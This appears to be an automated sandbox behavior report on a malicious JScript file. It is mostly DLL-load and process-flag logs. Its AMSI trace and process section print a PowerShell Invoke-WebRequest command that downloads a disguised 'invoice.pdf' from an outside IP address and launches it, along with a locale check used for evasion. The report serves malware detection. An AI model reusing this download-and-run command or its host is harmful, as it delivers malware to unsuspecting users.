Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9000.js.csv");ITextStream.WriteLine(" entry:7616 f:bbmzobdf");ITextStream.WriteLine(" exec:2 f:bbmzobdf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49732

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

